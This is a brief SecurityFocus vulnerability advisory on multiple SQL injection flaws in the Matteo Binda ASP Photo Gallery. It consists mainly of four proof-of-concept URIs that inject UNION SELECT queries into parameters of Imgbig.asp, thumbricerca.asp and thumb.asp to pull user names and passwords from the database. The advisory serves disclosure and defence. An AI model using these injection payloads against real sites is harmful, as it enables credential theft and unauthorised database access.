Matteo Binda ASP Photo Gallery Multiple SQL Injection Vulnerabilities

An attacker can exploit these issues via a browser.

The following proof-of-concept URIs are available:

http://www.example.com/Imgbig.asp?Id='union select user as name,1,pass as descrizione from stuff where '1'='1

http://www.example.com/thumbricerca.asp?id=-1'union select user as name,1,pass as descrizione from stuff where 1 like

http://www.example.com/thumbricerca.asp?ricerca=-1'union select user as name,1,pass as descrizione from stuff where 1 lik

http://www.example.com/thumb.asp?id=' union select user as name,1,pass as descrizione from stuff where '1'='1


 

Privacy Statement
Copyright 2010, SecurityFocus